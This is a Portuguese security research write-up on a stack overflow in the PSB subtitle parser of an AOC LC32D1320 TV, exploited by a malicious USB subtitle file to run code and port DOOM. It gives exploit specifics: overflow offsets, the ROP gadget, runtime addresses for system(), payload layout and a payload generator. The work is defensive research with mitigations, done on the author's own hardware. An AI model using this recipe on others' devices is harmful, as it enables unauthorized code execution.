AOC LC32D1320 — Stack Overflow no Parser PSB + Port do DOOM
- Plataforma: MIPS32 Big-Endian / uClibc 0.9.29
- Kernel: Linux 2.6.18_pro500.default (2010)
- Vetor: Arquivo de legenda
.PSBmalicioso via USB - Impacto: ACE confirmada + DOOM rodando na TV em hardware real
- Data: Abril 2026 | Pesquisador: teogabriel
1. Sumário Executivo
Esta pesquisa documenta a descoberta, exploração e pós-exploração de uma vulnerabilidade de stack-based buffer overflow no parser de legenda PSB da TV AOC LC32D1320. O parser vulnerável reside em libGenSub.so, dentro do processo plfApp, e é ativado automaticamente pelo Media Center ao enumerar arquivos de legenda em um pendrive USB.
A cadeia completa foi confirmada em hardware real e compreende três fases: (1) stack overflow via arquivo PSB malicioso resultando em ACE, (2) execução de diagnósticos nativos MIPS para mapear o hardware gráfico e de input, e (3) port funcional do DOOM rodando diretamente no framebuffer da TV com controles pelos botões físicos do painel.
| Campo | Valor |
|---|---|
| Produto afetado | AOC LC32D1320 (TV 32") |
| Firmware | V2.05 (uClibc 0.9.29, kernel Linux 2.6.18) |
| Arquitetura | MIPS32 Big-Endian |
| Componente vuln | libGenSub.so — gensub_ParsePsb @ ELF 0x20e24 |
| Tipo de vuln | Stack-Based Buffer Overflow (strcpy sem checagem) |
| Vetor | Arquivo .PSB malicioso em pendrive USB |
| Impacto | ACE: execução de system(cmd) no processo plfApp |
| Pré-requisito | Acesso físico para inserir pendrive |
| Proteções ausentes | Sem ASLR, sem NX, sem RELRO, sem stack canaries |
| ACE confirmada | SIM — ace_psb.log criado em hardware real (PSB51) |
| DOOM confirmado | SIM — render na TV com input pelos botões físicos |
| SDK resultante | libaoc (SDK C estático reutilizável para o firmware) |
2. Ambiente Alvo
2.1 Hardware e Firmware
A TV AOC LC32D1320 roda um SoC da família Trident com CPU MIPS32 big-endian. O firmware V2.05 usa sistema de arquivos MTD multi-partição. O boot é controlado por scripts shell, com sbtvd.sh como principal para o modo SBTVD.
O kernel embutido, Linux 2.6.18_pro500.default de 2010, não implementa nenhuma proteção moderna contra exploração de memória.
2.2 Proteções de Memória Ausentes
PT_GNU_STACKausente: stack executável em todos os binários relevantesPT_GNU_RELROausente: GOT completamente modificável após carga- ASLR não ativo: bases dos DSOs idênticas entre boots (confirmado em múltiplos cores)
- Stack canaries: não detectados
O script common.sh configura o sistema para coredumps em USB no boot:
mount /dev/sda /etc/core
echo '/etc/core/core.%e.%p.%s' > /proc/sys/kernel/core_pattern
ulimit -c unlimited
2.3 Arquitetura de Processos do Media Center
O parser PSB roda em plfApp (não em mmApp), comunicando via IPC FusionDale:
mmApp -> libtplftmplayerClient.so
| IPC/FusionDale (opcode 0x1037)
plfApp -> libtplftmplayerSupply.so -> libtapi.so -> libGenSub.so
3. Análise da Vulnerabilidade
3.1 Caminho de Código Vulnerável
APP_MediaSub_GetSubtitle() [mmApp]
-> Tplf_TMP_GenSub_GetSubfileDesc() [libtplftmplayerClient @ 0x16278]
-> [IPC FusionDale opcode 0x1037]
-> int_tapi_TMP_GenSub_GetSubfileDesc [libtapi @ 0x6981c]
-> gensub_splitter_init() [libGenSub @ 0x24a14]
-> gensub_ParsePsb() [libGenSub @ 0x20e24] <- VULNERÁVEL
3.2 O Buffer Overflow
Dentro de gensub_ParsePsb, o texto da legenda é copiado para um buffer de tamanho fixo na stack do caller sem verificação de comprimento:
strcpy(arg2 + 0x11, texto_da_linha)
Uma linha de texto suficientemente longa transborda o buffer e sobrescreve a stack do frame pai (gensub_splitter_init). A geometria exata, confirmada pelos coredumps:
| Offset no texto PSB | O que é sobrescrito |
|---|---|
0x000 - 0x0FF |
Texto da legenda (payload shell command) |
0x100 - 0x103 |
saved $s0 em gensub_ParsePsb |
0x104 - 0x107 |
saved $s1 em gensub_ParsePsb |
0x108 - 0x10B |
saved $ra em gensub_ParsePsb |
3.3 Gadgets ROP e Cadeia de Exploração
O gadget final usado no exploit (PSB51) está na libc e preserva $a0, que o parser já deixa apontando para o início do texto da legenda:
libc + 0x4a780 (runtime: 0x2bbfaa44):
move $t9, $s1 ; carrega system() em t9
jalr $t9 ; salta para system()
nop ; delay slot MIPS
O payload PSB51 usa implicit a0: o próprio texto da legenda é o comando shell, terminado com # para o shell ignorar os bytes binários dos registradores:
:>/etc/core/ace_psb.log #[padding até 0x104][s0][s1=system()][ra=gadget]
3.4 Confirmação em Hardware — ACE
Configuração dos registradores runtime (bases estáveis entre boots):
libGenSub.so = 0x2b273000
libc.so.0 = 0x2bbb8000
libc system() = 0x2bc07240
gadget libc+0x4a780 = 0x2bbfaa44
caller_sp = 0x7c6e5d40
Resultado do PSB51 em hardware real: arquivo ace_psb.log criado na raiz do pendrive. ACE prática confirmada.
4. Pós-ACE: Bring-Up de Binários Nativos
Com ACE confirmada, a fase seguinte foi trazer binários nativos MIPS/uClibc para rodar na TV via pendrive USB, como estágio inicial para o port do DOOM.
4.1 Toolchain e Sysroot
Cross-compiler: mips-linux-gnu-gcc. ABI: MIPS32R2, big-endian, o32. Flags principais: -EB -mips32r2 -mabi=32. As bibliotecas do runtime vieram do dump de firmware da TV (mtd5/lib).
Todos os binários nativos usam:
-nostartfilescom customstart.S(baseado no__startstock decfgApp)-fno-stack-protectorRUNPATH /usr/lib:/lib- Intérprete forçado:
/lib/ld-uClibc.so.0
4.2 Progressão de Probes Nativas
A estratégia foi progredir de um binário mínimo (tvprobe) até o DOOM completo, com uma sonda dedicada para cada gargalo:
| Probe | Propósito e Resultado |
|---|---|
tvprobe |
Prova mínima de execução nativa: escreve tvprobe.ok. PASSOU. |
logprobe |
Prova de exec direta de /mnt/doom sem staging /tmp. PASSOU. |
hidprobe |
Abre /dev/hidtv2dge, lê FBIOGET_FSCREENINFO, mmap read-only. PASSOU. |
hidpaint |
Pinta blocos coloridos em todas as páginas do framebuffer. PASSOU — visível na TV. |
pthreaddlprobe |
dlopen(libpthread) + pthread_self via dlsym. PASSOU. |
dfbprobe |
DirectFBInit + DirectFBCreate. FALHOU em pthread_create dentro do DirectFB. |
hellofb |
DirectFBCreate isolado. FALHOU antes do primeiro log — DirectFB runtime não carregou. |
doomdiag |
DirectFB diagnóstico completo. Abandonado em favor do path raw hidtv2dge. |
4.3 Descoberta Crítica: Framebuffer Raw Sem DirectFB
A tentativa de usar DirectFB (o stack de compositing do firmware) esbarrou num problema de bootstrap pthread: o processo filho iniciado via system() herda um ambiente de runtime do plfApp incompatível com a inicialização do manager de threads do LinuxThreads. Nenhuma das técnicas tentadas resolveu o pthread_create dentro do espaço de processo do filho:
- Passar
NEEDED libpthread.so.0no ELF: filho não chegava aomain dlopen(libpthread)+__pthread_initialize_minimal():pthread_creatependurava sem core__libc_pthread_init(__pthread_functions): ainda penduravaforce-slavenoDFBARGS: sem efeitosigemptyset+sigprocmaskantes dodlopen: sem efeito
O pivot decisivo veio do hidprobe: o dispositivo /dev/hidtv2dge (o framebuffer/OSD plane) é diretamente mapeável via mmap sem nenhuma dependência de DirectFB ou pthread. O hidpaint provou que escrita contínua nesse plane é visível sobre o vídeo do player, sem necessidade de matar o mmApp.
Valores do framebuffer confirmados pelo hidprobe:
id: HiDTV SVP OSD
resolução: 960 x 540
bpp: 32 (ARGB8888)
stride: 3840 bytes/linha
framebuffer: 0x0e000000, 33554432 bytes (32 MiB)
page_len: 2073600 bytes (1 página = 960×540×4)
páginas mmap: 16
5. Port do DOOM para a LC32D1320
Com o path gráfico raw confirmado, o port do DOOM (baseado no doomgeneric) foi adaptado para usar /dev/hidtv2dge diretamente, sem DirectFB, sem pthread e sem dependências além de libc.so.0.
5.1 Backend Gráfico
O DG_DrawFrame do port abre /dev/hidtv2dge, lê a geometria via ioctl, mapeia os 32 MiB com PROT_READ|PROT_WRITE, e escala o framebuffer interno do DOOM (320×200) para o plane do OSD (960×540). O alpha é forçado em 0xFF000000 para garantir visibilidade no plano overlay. Todas as páginas completas do mapeamento são pintadas por frame, replicando o comportamento do hidpaint que provou ser visível.
5.2 Problemas Resolvidos Durante o Bring-Up
__ctype_toupper_loc: recursão infinita no shim de compatibilidade uClibc. Fix: substituirtoupper()por mapeamento ASCII manual.booleanparaintcast em STlib: em big-endian MIPS, adjacent boolean bytes geravam índices inválidos. Fix: array auxiliarstatic int st_weaponowned[6].TryRunTicspendurava emI_GetTime: o timer embarcado bloqueava antes da primeira frame. Fix: singletics fast path que chamaBuildNewTic()diretamente sem ler o timer.D_StartGameLooppendurava porGetAdjustedTime: mesmo problema do timer. Fix: skip deD_StartGameLoopquando singletics ativo.- Wipe path chamava
I_GetTime:wipegamestate != gamestateativava wipe que usa o timer. Fix: forçarwipegamestate = gamestatequando singletics ativo.
5.3 Backend de Input
O input foi mapeado através da engenharia reversa do módulo DirectFB da TV. O libdirectfb_trid_input.so cria um socket Unix em /tmp/hp_dfb_handler e recebe pacotes de 8 bytes (word 0 = 1, word 1 = key code). O port DOOM cria um socket AF_UNIX/SOCK_DGRAM no mesmo path, desbindando o path anterior para capturar os eventos de input que a TV enviaria para o DirectFB. O fcntl é feito via raw MIPS syscall para evitar incompatibilidade com __fcntl_time64 da TV.
Mapeamento final confirmado por sessão de calibração real na TV:
| Botão | Código Raw | Ação no DOOM |
|---|---|---|
| Vol+ | 0x0000003c |
Frente (KEY_UPARROW) |
| Vol- | 0x0000003d |
Ré (KEY_DOWNARROW) |
| Menu | 0x00010319 |
Atirar (KEY_FIRE) |
| CH+ | 0x00010316 |
Virar Esquerda (KEY_LEFTARROW) |
| CH- | 0x00010317 |
Virar Direita (KEY_RIGHTARROW) |
| Input | 0x00010318 / 0x3e / 0x100017 |
Usar/Abrir (KEY_USE) |
5.4 Resultado Final: DOOM Rodando
O build com wipegamestate=gamestate renderizou DOOM na TV. Comportamento observado:
- DOOM desenha sobre o vídeo do Media Center no plano OSD
- Áudio do vídeo do Media Center continua em background (
mmApppermanece vivo) - DOOM iniciado direto em E1M1 (
-warp 1 1) sem menu/demo - Sem áudio Doom (launcher usa
-nosound -nomusic— áudio nativo da TV não integrado) - Frames renderizados confirmados no log:
draw frame 1, 2, 3, 4, 5...
6. libaoc: Mini-SDK Resultante
Após o DOOM funcionar, o código de display/input/log específico da TV foi extraído para um SDK C estático reutilizável chamado libaoc (github.com/teogabrielofc/libaoc), tornando o repositório usável como base para outras apps nativas nesta TV.
6.1 Estrutura do SDK
libaoc/include/aoc/aoc.h — header público
libaoc/src/aoc_fb.c — abre /dev/hidtv2dge, lê geometria, mapeia VRAM, apresenta frames XRGB8888
libaoc/src/aoc_input.c — binda /tmp/hp_dfb_handler, decodifica pacotes remotos, fallback /dev/remote
libaoc/src/aoc_log.c — logs com fsync opcional
libaoc/src/aoc_runtime.c — raw MIPS syscalls para ioctl/fcntl, helpers de tempo/sleep
runtime/start.S — entrypoint MIPS/uClibc
runtime/appinit.c — _init e _fini no-op
runtime/uclibc_compat.c — shims de builtins glibc
6.2 Knobs de Runtime
| Variável | Efeito |
|---|---|
AOC_FB_PAGES=1 |
Pinta uma página por frame (padrão — caminho rápido) |
AOC_FB_PAGES=all |
Pinta todas as páginas por frame (seguro, mais lento) |
AOC_FB_FULL_REFRESH_EVERY=0 |
Desabilita refreshes periódicos completos |
AOC_INPUT_DEBUG=1 |
Reabilita logs raw de input para mapeamento de botões |
7. Launcher Final: PSB60
O payload de lançamento do DOOM consolidado é o PSB60_LAUNCH_DOOM. Ele usa a mesma técnica de ACE do PSB51, com o comando shell sendo o launcher do DOOM:
chmod +x /mnt/doom/launch.sh; /mnt/doom/launch.sh
Constantes do PSB60 (valores confirmados do firmware testado):
libc base: 0x2bbb8000
system(): 0x2bc07240
gadget (implicit-a0): 0x2bc02780
Para um firmware diferente, o make_psb.py aceita um coredump e recalcula automaticamente:
python tools/make_psb.py doom-launcher --core path/to/core
O launcher exporta o ambiente necessário e inicia o DOOM:
export AOC_FB_PAGES="${AOC_FB_PAGES:-1}"
export AOC_FB_FULL_REFRESH_EVERY=0
export AOC_INPUT_DEBUG=0
/mnt/doom/doom -iwad /mnt/doom/doom1.wad -nosound -nomusic -warp 1 1
8. Linha do Tempo Completa da Pesquisa
| Fase | Marco |
|---|---|
| RE estático | Análise do firmware V2.05, identificação do PSB overflow em libGenSub.so |
| RE estático | Mapeamento da cadeia IPC FusionDale: mmApp -> plfApp -> libGenSub |
| RE estático | Gadgets ROP em libGenSub.so e libtapi.so identificados |
| Stage 1 | PSB corpus de crash: TV trava conforme esperado |
| Coredump | Superfloppy FAT32 + USB no boot → coredump capturado com bases runtime |
| Stage 2 | PSB48: controle de $a0 provado (badvaddr=0x41414141) |
| Stage 2 | PSB46: abort() no plfApp provado (core com sinal 6) |
| ACE | PSB51: ace_psb.log criado no pendrive. ACE confirmada. |
| Native bins | tvprobe.ok: primeiro binário nativo MIPS rodando via PSB |
| Framebuffer | hidprobe.ok: /dev/hidtv2dge mapeável sem DirectFB |
| Framebuffer | hidpaint visível na TV: plano OSD confirmado |
| DirectFB | dfbprobe: falha em pthread_create dentro de DirectFBCreate |
| Pivot | Abandono do DirectFB; port DOOM usa raw /dev/hidtv2dge |
| DOOM | Fix ctype recursion, boolean cast, timer hang, wipe path |
| DOOM | DOOM renderizando na TV: draw frame 1, 2, 3, 4, 5... |
| Input | Calibração: Vol+/Vol-/Menu/CH+/CH-/Input mapeados para Doom keys |
| libaoc SDK | Código extraído para SDK estático C reutilizável |
| PSB60 | Launcher unificado: PSB60_LAUNCH_DOOM com documentação completa |
9. Discussão e Mitigações
9.1 Causa Raiz
Uso de strcpy sem verificação de comprimento para copiar entrada de usuário (arquivo de legenda) para buffer de tamanho fixo na stack. Correção imediata: substituir por strncpy com validação prévia do comprimento da linha.
9.2 Fatores Agravantes
- ASLR ausente: bases estáveis eliminam necessidade de leak per-boot no stage 2
- Stack executável: shellcode direto seria possível sem restrição de bad bytes
- Core dumps habilitados e configurados para USB por padrão: facilita o leak de endereços
- Kernel de 2010: nenhuma mitigação moderna
9.3 Mitigações
- Imediato:
strncpy+ validação de comprimento - Médio prazo: recompilar com
-fstack-protector-all - Longo prazo: kernel com ASLR
- Operacional: desabilitar core dump para USB em produção
A natureza do produto (TV de 2010 sem suporte ativo) torna improvável qualquer patch. Esta pesquisa é inteiramente educacional, conduzida em hardware próprio.
Pesquisa conduzida em hardware próprio para fins educacionais. | Abril 2026
Publicado em Maio 2026 — algumas informações sobre o libaoc podem estar desatualizadas.